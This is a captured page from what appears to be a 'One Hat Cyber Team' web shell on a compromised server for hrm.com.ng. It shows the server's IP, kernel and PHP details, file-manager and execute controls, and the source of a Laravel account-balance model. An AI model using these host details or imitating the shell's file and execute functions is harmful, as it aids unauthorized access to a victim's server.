⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
hrm.com.ng
/
app
/
Models
/
View File Name :
AccountList.php
first(); $accountBalance->initial_balance = $amount + $accountBalance->initial_balance; $accountBalance->save(); } public static function remove_Balance($id, $amount) { $accountBalance = \App\Models\AccountList::where('id', '=', $id)->first(); $accountBalance->initial_balance = $accountBalance->initial_balance - $amount; $accountBalance->save(); } public static function transfer_Balance($from_account,$to_account,$amount) { $fromAccount = \App\Models\AccountList::where('id', '=', $from_account)->first(); $fromAccount->initial_balance = $fromAccount->initial_balance - $amount; $fromAccount->save(); $toAccount = \App\Models\AccountList::where('id', '=', $to_account)->first(); $toAccount->initial_balance = $toAccount->initial_balance + $amount; $toAccount->save(); } }